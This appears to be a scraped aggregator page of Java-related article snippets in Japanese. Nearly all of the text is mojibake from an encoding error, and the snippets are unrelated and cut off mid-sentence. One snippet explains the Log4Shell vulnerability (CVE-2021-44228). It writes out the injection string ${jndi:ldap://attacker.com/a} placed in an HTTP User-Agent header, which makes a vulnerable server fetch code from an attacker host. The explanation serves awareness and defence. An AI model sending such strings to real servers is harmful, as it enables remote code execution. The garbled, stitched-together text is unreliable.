You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert
JNDI ã¨ã¯Java Naming and Directory Interface ã¨ãããJava ã¢ããªã±ã¼ã·ã§ã³ã DNS ã LDAP çã®ãµã¼ãã¹ãå©ç¨ããããã®æ±ç¨çãªã¤ã³ã¿ãã§ã¼ã¹ (ã©ã¤ãã©ãª) ã§ãã Log4j 㨠JNDI lookupApache Software Foundation ãéçºãããJava ãã¼ã¹ã®ãã®ã³ã°ã«é¢ããã©ã¤ãã©ãªã§ããJNDI lookup ã¨ããæ©è½ããããæ¸ãè¾¼ãã ãã°ã®ä¸é¨ãèªåã§å¤æ°åãã¾ããä»åã¯ãã®æ©è½ãæªç¨ããã¦ãã¾ãã CVE-2021-44228 ã®æ»æã·ã¼ã±ã³ã¹ã®ä¾ æ»æè ã¯èå¼±æ§ãããªã¬ã¼ããããã« http ãããã® User-Agent ã« ${jndi:ldap://attacker.com/a} ã¨ããæååãåãè¾¼ã¿ãhttp ãªã¯ã¨ã¹ããéä¿¡ãã¾ããèå¼±æ§ã®ãããµã¼ãã® Java App ã¯ãã®éä¿¡ã
2021å¹´12æ10æ¥ãJavaãã¼ã¹ã®ãã°åºåã©ã¤ãã©ãªãApache Log4jãã®2.xç³»ãã¼ã¸ã§ã³ï¼ä»¥éã¯Log4j2ã¨è¨è¼ï¼ã§ç¢ºèªãããæ·±å»ãªèå¼±æ§ãä¿®æ£ãããã¼ã¸ã§ã³ãå ¬éããã¾ãããã»ãã¥ãªãã£é¢ä¿çµç¹ã§ã¯éå»è©±é¡ã«ãªã£ãHeartbleedãShellshockã¨åã¬ãã«ã®èå¼±æ§ã¨ãè©ä¾¡ãã¦ãã¾ããããã§ã¯é¢é£ããæ å ±ãã¾ã¨ãã¾ãã ï¼ï¼ä½ãèµ·ããã®ï¼ Javaãã¼ã¹ã®ãã°åºåã©ã¤ãã©ãªLog4j2ã§æ·±å»ãªèå¼±æ§ï¼CVE-2021-44228ï¼ãä¿®æ£ãããã¼ã¸ã§ã³ãå ¬éãããããã®å¾ãä¿®æ£ãä¸å®å ¨ã§ãã£ããã¨ãªã©ãçç±ã«2件ã®èå¼±æ§ãä¿®æ£ãããã åºãå©ç¨ããã¦ããã©ã¤ãã©ãªã§ããããå½±é¿ãåãã対象ãå¤ãåå¨ããã¨ã¿ãããæ»æã容æã§ãããã¨ãã2014å¹´ã®HeartbleedãShellshock以æ¥ã®å±éºæ§ãããã¨ã¿ãåãããããThe Apache Software
log4jã¨ã¯Javaç¨ã®loggingã©ã¤ãã©ãªã ãloggingã©ã¤ãã©ãªã¨ããã®ã¯ãã°ã¨ãã¦è¨é²ãã¹ãæååãåãåãããããã©ããã«åºåãããã®ã ãæååã®ä¸èº«ãé常ã®loggingã©ã¤ãã©ãªã¯æ°ã«ããªãã log4jãé常ã®loggingã©ã¤ãã©ãªã¨éãã®ã¯ãæååã®ä¸èº«ãè¦ã¦ãä¸é¨ã®æååãå¤æ°ã¨ã¿ãªãã¦ç½®æãããã¨ã ãããã¯log4jã®ããã¥ã¡ã³ãã§ã¯lookupã¨å¼ã°ãã¦ããã Log4j â Log4j 2 Lookups ä¾ãã°ããã°ã©ã ãå®è¡ä¸ã®Java runtimeã®ãã¼ã¸ã§ã³ããã°ã«å«ãããå ´åã¯ã"Java Runtime: ${java:runtime}"ãªã©ã¨ããã¨ã"Java Runtgime: Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation"ãªã©ã®
@Component public class LoginFilter extends OncePerRequestFilter { // äºãObjectMapperãBeanç»é²ãã¦ããã¾ã @Autowired ObjectMapper objectMapper; @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { // ã³ã³ããã¹ãã«ãã°ã¤ã³ã¦ã¼ã¶æ å ±ãã»ãã SecurityContextHolder.getContext().setAuthentication(new PreAuthenticatedAut
LINEãå®æçã«éå¬ããæè¡è åããã¼ãã¢ãããLINE Developer Meetupãã65åç®ã® ã¯ãJavaãã¨ãããã¼ãã§ãJavaã®ã¹ãã·ã£ãªã¹ãã§ããLINE Fukuokaæ ªå¼ä¼ç¤¾ã®ããã ãªããæ°ããJava 9ãã14ã§ã®ç´°ããæ©è½å¤æ´ã«ã¤ãã¦ç´¹ä»ãã¾ãããé¢é£è³æã¯ãã¡ãã Java9ããJava14ã¾ã§ã®4ã¤ã®ç´°ããä»æ§å¤æ´ ããã ãªããæ°ï¼ä»¥ä¸ãããã ï¼ï¼ãããããé¡ããã¾ããåã®ã»ãã·ã§ã³ã§ã¯ãJava9ããJava14ã¾ã§ãããããããããã¨ãã話ããã¾ãã èªå·±ç´¹ä»ã§ãããããã ã¨è¨ãã¾ããLINE Fukuokaã§åãã¦ãã¦ãæè¿7å¹´ãããæ¾ç½®ãã¦ããæ´æ¿¯æ©ããã£ã¨è²·ãæ¿ãã¦ããææã£ã¦ä¾¿å©ã ãªãã¨æã£ã¦ããã¨ããã§ãã ä»æ¥ã®è©±ã§ãããJava9ããJava14ã¾ã§ããã£ãããããããªå¤æ´ãç©ã¿éãªã£ã¦ãã¦ã大ããè¨èªä»æ§ã®å¤æ´ãªã©ã¯ãã£ãã話é¡ã«ãªã
OOMKillerã®æ®ºæ 顧客EC2ã®Tomcatãã¢ã¯ã»ã¹ã®ç¡ãæ©æã«ããããããOOMKillerã«çªç¶æ®ºããã¦ãã¾ã£ãã®ã§ã調æ»ããé¡æ«ããã¶ãåããããªåé¡ã«ç´é¢ããã¦ããæ¹ããããããã¨æãã¾ãã®ã§åå¿é²ã¨ãã¦è¨è¼ãã¾ãã Javaãã¼ãã®ãã¥ã¼ãã³ã°ã«ãå¤å°å½¹ç«ã¤ãã¨æãã¾ãã ï¼ãã®è¨äºã¯Java8ã対象ã¨ãªãã¾ããï¼ OOMKillerã¨ã¯Out of Memoryæã«ããµã¼ãå ¨ä½ãå®ãããã«ã¡ã¢ãªã¼ãæ¶è²»ãã¦ããããã»ã¹ãåæ¢ããLinuxã®æ¨æºæ©è½ã§ãã ãã®OOMKillerã«ãªãã¨Tomcatãçªç¶æ®ºå®³ããã¦ãã¾ãã¾ããã åçç¡ç¨ã®è¾»æ¬ãç¶æ ã§ãã æ©æã§ãã®ã§ã¢ã¯ã»ã¹ãã°ã«ã¯ä½ãè¨é²ããã¦ããããcatalina.outã«ã¯ OpenJDK 64-Bit Server VM warning: Setting LargePageSizeInBytes has no
Spring Bootã¨Play Frameworkãã©ã£ã¡ãã©ãè¯ãã®ï¼Â å°é家ã5ã¤ã®è¦ç¹ã§å¾¹åºè§£èª¬ Spring Bootã¨Play Frameworkãã©ã¡ãã使ãã¹ããâ¦â¦ï¼éçºè ãæ©ã¾ããçåã«çããã¹ããå°é家2人ããã¾ãã¾ãªè¦ç¹ã§ä¸¡ãã¬ã¼ã ã¯ã¼ã¯ã®ç¹å¾´ã解説ãã¾ãã ãæ¯è¼ãã¤ã³ã(1)ãè¨è¨ææ³ãç»å ´ãã¦ããæ´å²çèæ¯ ãæ¯è¼ãã¤ã³ã(2)ãå¾æåéãå©ç¨ããã¦ããé å ãæ¯è¼ãã¤ã³ã(3)ãåã³ã³ãã¼ãã³ãã®å®è£ ã¹ã¿ã¤ã« ãæ¯è¼ãã¤ã³ã(4)ããã¼ã¿ãã¼ã¹æ¥ç¶ã¾ãã ãæ¯è¼ãã¤ã³ã(5)ãä»å¾ã®ãªãªã¼ã¹å±éã«ã¤ã㦠Webã¢ããªã±ã¼ã·ã§ã³éçºã«ããã¦ããã¬ã¼ã ã¯ã¼ã¯ã¯æ¬ ãããªãåå¨ã¨ãªã£ã¦ãã¾ããéçºè ãå®è£ ãã¹ãå¦çã«éä¸ã§ããå ç¢ã§ã¡ã³ããã³ã¹ããããã¢ããªã±ã¼ã·ã§ã³ããã°ããéçºã§ãããããããããã¬ã¼ã ã¯ã¼ã¯ã使ãæ大ã®å©ç¹ã¨ãããã§ãããã JavaãScal
追è¨ï¼å¯¾è±¡ã¨ãã¦ããJavaã¨ã³ã¸ãã¢ã®ç¯å²ã大è¢è£ã«ããããããªã¨æãã¾ããã®ã§ããã®è¾ºãä¿®æ£ãã¾ããã ãªãæ¸ããã®ã ã¿ã¤ãã«ã®ä»¶ã§ãããæèè ã®æ¹ã ãæ§ã ãªåªä½ãå ´æã§çºä¿¡ãããã¦ãããããã§ã以åã«æ¯ã¹ã¦å°ãªããªã£ãã¨æãã¦ã¯ãããã®ã®ãã¾ã æã 誤解ãæããã¦ãããJavaãæååãããã¨åããã¦ããã¨ã³ã¸ãã¢ã®æ¹ããã¾ã«è¦ããã¾ãã Oracle JDK 8ããã³OpenJDK 11ãããããæå¾ã®ç¡åã¢ãããã¼ãããªãªã¼ã¹ãããããããæåã¾ãã¯ç¡åã®LTSã§ã¢ãããã¼ããåãç¶ããããOpenJDK 12ã«ç§»è¡ããã®ãã¨ãã£ãé¸æã決ãã¦ããç¶æ³ã«ãªãæã«ã¾ã ãã®ãããªèª¤è§£ãæã£ãã¾ã¾ã§ããã®ããªã¨æãã¾ããã ããã§èªåã®çµé¨ãåºã«èª¤è§£ãããå´ã®ç«å ´ã«ãªã£ã¦ããªããJavaãæååãããã¨ãã誤解ãçã¾ããã®ããèå¯ãã¦ã¿ããã¨æãã¾ããã å°ããã®å 容ã¯å人ã®è¦è§£ã§ãé
Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article? 2018å¹´ç¾å¨ã§ãJavaéçºããã¦ããã¨ãAntãã使ã£ã¦ããªãEclipseããã¸ã§ã¯ãã«ããããã®é »åº¦ã§åºãããã¾ããEclipseã®èªåã³ã³ãã¤ã«ãéãã°OKã§ããããã«ãã¯Excelæé æ¸ããã¨ã«æåã§è¡ãããä¾åé¢ä¿ã©ã¤ãã©ãªã¯ãã¡ããlibãã©ã«ãã«å種jarãã¡ã¤ã«ãæ¾ãè¾¼ãã§ããã¾ããEclipseä¸ä»¥å¤ã§ã¯ã©ãåããã°åãã人ãããªããããã³ãã³ãã©ã¤ã³ãããã«ããªã©ãè¡ããã¨ã¯å¶ãããCIåãªãã¦å¤¢ã®ã¾ã夢ã§ãã ãããªJavaéçºããè±å´ããã人åãã®Javaéçºã®ã¢ãã³åã¬ã¤ãã§ãã åºæ¬çã«Java 8以éã§
2. Copyright © Acroquest Technology Co., Ltd. All rights reserved.Copyright © Acroquest Technology Co., Ltd. All rights reserved. çãã ç¨æã¯ããã§ããï¼ 2 3. Copyright © Acroquest Technology Co., Ltd. All rights reserved.Copyright © Acroquest Technology Co., Ltd. All rights reserved. é´æ¨ä¼é·ã¯ ãã£ã¡ãããªããï¼ 3
æè¡çãªæ¨æºã»è¦æ ¼ (TODO: IATA, Microsoft) tz database ã¿ã¤ã ã¾ã¼ã³ã«é¢ãããã½ããã¦ã§ã¢ã»ã¨ã³ã¸ãã¢ã«ã¨ã£ã¦æãæ¨æºçãªãã¼ã¿ã tz database (Wikipedia) ã§ãããã "Asia/Tokyo" ã "Europe/London" ã®ãããªã¿ã¤ã ã¾ã¼ã³ã®ååã¯ããã® tz database ã®ãã®ã§ãã tz database ã®ã¿ã¤ã ã¾ã¼ã³ã¯ "/" ã®åã®æåã®é¨åã«å¤§é¸åã»æµ·æ´åãç¨ããç¶ãã¦ãå ¸åçã«ã¯ãã®ã¿ã¤ã ã¾ã¼ã³å ã®èåãªé½å¸åã»å³¶åããã®ä»£è¡¨ã¨ãã¦åä»ãããã¦ãã¾ãã21 å½åã¯åºæ¬çã«ä½¿ããã¾ããã22 "America/Indiana/Indianapolis" ã®ããã«3è¦ç´ ã§æ§æãããã¿ã¤ã ã¾ã¼ã³ãå°æ°ãªããåå¨ãã¾ãã tz database ã¯ãã©ã³ãã£ã¢ã«ãã£ã¦ã¡ã³ããã³ã¹ããã¦ãã¾ããã¿ã¤ã ã¾ã¼ã³ã®æ
ã¯ããã« é©ãæå°ã®ååï¼æ³åï¼ã¨ããè¨èãããã¾ãã Wikipediaã®è¨äºãå¼ç¨ãã㨠http://ja.wikipedia.org/wiki/%E9%A9%9A%E3%81%8D%E6%9C%80%E5%B0%8F%E3%81%AE%E5%8E%9F%E5%89%87 ã¦ã¼ã¶ã¤ã³ã¿ãã§ã¼ã¹ãããã°ã©ãã³ã°è¨èªã®è¨è¨ããã³äººéå·¥å¦ã«ããã¦ãã¤ã³ã¿ãã§ã¼ã¹ã®2ã¤ã®è¦ç´ ãäºãã«çç¾ãããã¯ä¸æçã ã£ãã¨ãã«ããã®åä½ã¨ãã¦ã¯äººéã®ã¦ã¼ã¶ãããã°ã©ããæãèªç¶ã«æããï¼é©ããå°ãªãï¼ãã®ãé¸æãã¹ãã ã¨ããèãæ¹ã§ããã è¦ããã«ã使ãã¨ãã«ãããã£ï¼ãã¨ããé©ããå°ãªãã»ããè¯ãããã°ã©ã ã§ããã¨ããã¾ã[1]ã [1]: ã©ã£ã¡ãé©ããå°ãªããè¿·ãå ´é¢ãããªãå¤ãã§ããã»ã»ã» ãã®è¨äºã§ã¯æ¢ãã¦é©ãã®å¤ãããã°ã©ã ã®æ¸ãæ¹ãç´¹ä»ãã¾ããé©ãã®å¤ãããã°ã©ã ãèªãã¨ã©ããªæ°åã«ãªããã
Java 8 ã§ã Oracle ã® JVM ãåæã¨ãã話ã§ãã Java ã®ã¡ã¢ãªç®¡ç ãããç¥ã£ã¦ãããªãã¨ã OOME ãèµ·ãã£ã¦ããã¡ã¢ãªå ã§ä½ãèµ·ãã£ã¦ãã¦ãã©ãã調æ»ãã¹ãã§ãã©ã®ããã«å¯¾å¦ãããããã®ããå¤æã§ããªãã ãªã®ã§ãã¾ãã¯ããããã Java ãã©ããã£ã¦ã¡ã¢ãªã管çãã¦ããã®ããç¥ãã ããããå®é調ã¹ã¦ã¿ããäºæ³éãã¨ããããªãã¨ããããéãå¤ããªã£ã¦ãã¾ã£ãã ãªã®ã§ãåã ã®ç¨èªã®èª¬æã¯æ«å°¾ã® ç¨èªé ã«æ¼ãè¾¼ããã®ã§ãããã§ã¯ãã£ããã¨ããæ¦è¦ã ãè¨è¼ããã ã¡ã¢ãªã®æ§é è¶ ãã£ããã¨ãããã¡ã¢ãªæ§é ã表ããå³ã ããããããã¼ãï¼Heapï¼é åã¨ãã¤ãã£ãï¼Nativeï¼é åã®ï¼ã¤ã®é åãããã ãã¼ã㯠Java ããã°ã©ã ã使ãé åã§ãããã°ã©ã ä¸ã§çæãããªãã¸ã§ã¯ãã¯ããã®ãã¼ãé åã«é ç½®ãããã ä¸æ¹ããã¤ãã£ãé å㯠JVM ãåãã®ã«å¿ è¦
1.0.0 ããªãªã¼ã¹ããã¾ãããããã¾ãããã åã®è¦³æ¸¬ç¯å²å ã«è¦ãããã¨ãå¢ãã¦ããã®ã§ãèå³æ¬ä½ã§å°ããã¤è§¦ã£ã¦ãã¾ãã ã¾ãããã©ã¦ã¶ã ãã§è©¦ãããã¥ã¼ããªã¢ã«ã大å¤ç´ æ´ãããã®ã§ãKotlin ãèã«åããã©ãã確èªããã¨ããã§ããã Kotlin Koansjs ã§å®è£ ãããã¨ãã£ã¿ãªã®ã«ã·ã³ã¿ãã¯ã¹ãã¤ã©ã¤ãã ãã§ãªããå ¥åè£å®ãã¬ã³ã¬ã³å¹ãã®ã§åãè¯ãã åã®ç解#å¤§ä½ 3 æ¥ãããããã¦è¨èªä»æ§ãããã¥ã¢ã«ã®é¡ãèªã¿ãªãããã¥ã¼ããªã¢ã«ãããªããçµæã Kotlin 㯠å®å ¨ãªæ¬¡ä¸ä»£ã® Groovy ã§ããã¨ããç解ã«å°éãã¾ããã åã Groovy ã«å¯¾ãã¦æã£ã¦ããä¸æºã¯ã大ä½ä»¥ä¸ã®éãã ã©ã³ã¿ã¤ã ããã«éããgroovy-all-2.4.6-indy.jar ã 6.5Mãã¤ãã³ã¼ãã¨ã³ãã³ã¹çã®å±éºãªé»éè¡ãã«ã¸ã¥ã¢ã«ã«åãåãããããã§ãå®ã¯æ®ã©ãªãåããã¾
ããã«ã¡ã¯ãããã«ã¦ã§ã¢éçºãã¼ã ã®éæ¨(@a_o_k_i_n_g)ã§ããå°æ¥ã®å¤¢ã¯è¤å²¡å¼ã®å¼åã«ãªããã¨ã§ãã Cybozu ã§ã¯å¤ãã® Java ã¢ããªã±ã¼ã·ã§ã³ã稼åãã¦ããããã©ãã«ãçºçãã¾ããåã¯ãã©ãã«å¯¾å¿ããããã¨ãå¤ããä»ã¾ã§å¤§å°æ§ã ãªãã©ãã«ãè¦ã¦ãã¾ããããã®ä¸ã§å¾ãããç¥è¦ã社å ããã¥ã¡ã³ãã¨ãã¦è¨ãã¦ãã¾ãããããã¡ããæç´ããããã®ãæ¬è¨äºã§å ¬éãã¾ããCybozu ã§ã¯ã¤ã³ãã©åºç¤ã« Ubuntu ãç¨ãã¦ããã®ã§å種ãã¼ã«ã®ç´¹ä»ããã¹ã¦ Ubuntu ãåæã«ãã¦ãããã¨ããæ¿ç¥ãã ããã ããããã㨠å種ãã¼ã¿ã¯ãã©ãã«ãçºçãã¦ããç¶æ ã§éç¨ãã¼ã ã«åå¾ãã¦ãããã¾ãããã鮮度ãéè¦ãªãã¼ã¿ãå¤ãã®ã§ã常æ¥é éç¨ãã¼ã ã¨æãåãåã£ã¦ãã©ãã«å¯¾å¿ã§ããçµç¹ã¥ããããã¦ããã¹ãã ã¢ãã¿ãªã³ã°ãã¼ã«ã§è©²å½ç°å¢ã®ãã¼ã¿ãç¢ºèª ãã©ãã«ã®åå ã¯å¤ç¨®å¤æ§ã§ãã
ä¸äººã§ããã°ã©ã ãæ¸ãã¦ããããã¨ãç°å¢ã«ãã£ã¦ã¯ãã¾ãã³ã¼ãã®æ¸ãæ¹ã«ã¯ææãåããªãã¦å°ãã¾ããããããã«ãªã£ã¦ããæ²ãããªãã«ãã¡ããã¨åãã³ã¼ããæ¸ãã¦ãã¾ãã¨ãã¾ãã«å½ããåã®ãã¨ãªããã¯ææããããã¨ãç¨ã§ããã®ã¾ã¾ããç¨åº¦åããªã£ã¡ãã£ãæ¥ã«ã¯ããã¯ãèªåã§æ°ä»ããããªããªã£ã¦ãã¾ãã¾ãã FindBugsã¨ããEffective Javaãªã使ã£ããèªãã§ã¿ããèªã¾ããããããã¨ã¯ã§ãã¾ããããã以åã®ã¨ããã£ã¦é£ãããã§ããããããã³ã¼ãã¨è¨ããããããå½ããåã ã¨æããã¦ããã®ã§ãææããã«ãã¦ããããããã°ããããï¼ã¢ããã¤ã¹ï¼ãããªãã¦ããªãã§ãããã¦ãªãã®ï¼ãï¼è©°åï¼ã«ãªã£ã¦ãã¾ããã¡ã§ãã ããã§ãæè¿ããããJavaãã¥ã¼ãã¼ã«ææãã¦ããï¼ãããï¼ãã¨ã®å¤ããJavaã®åºç¤çãªäºæãã¾ã¨ãã¦ã¿ã¾ãããã¯ã¿ã·Javaãã§ããããã«ã£ã¦äººã¯ããã以å¤ã«ããããã¡
2. ï¬ @miyakawa_taku ï¬ JJUGå¹¹äº ï¬ SIå±ã§è³å´å ï¬ å°¾ä¸é¨å±ã®éå±±é¢ã®ãã¡ã³ã§ã ï¬ ãªã¬ãªã¬JVMè¨èªKinkãä½ã£ã¦ãã¾ã https://bitbucket.org/kink/kink èªå·±ç´¹ä» #jjug 2/67 3. #jjugãã°ã¨ã¯ï¼ ä¾: $ kink -Vdebug -e '' 2015-10-04 15:58:29 [main] DEBUG BoxingValues - use box proto listener org.kink_lang.kink.internal.eval.VarAssignEvaluator$VarAssignListener@3af49f1c 2015-10-04 15:58:29 [main] DEBUG BoxingValues - use box proto listener org.kink_lang.
ãªãªã¼ã¹ãé害æ å ±ãªã©ã®ãµã¼ãã¹ã®ãç¥ãã
ææ°ã®äººæ°ã¨ã³ããªã¼ã®é ä¿¡
å¦çãå®è¡ä¸ã§ã
j次ã®ããã¯ãã¼ã¯
kåã®ããã¯ãã¼ã¯
lãã¨ã§èªã
eã³ã¡ã³ãä¸è¦§ãéã
oãã¼ã¸ãéã
{{#tags}}- {{label}}
{{/tags}}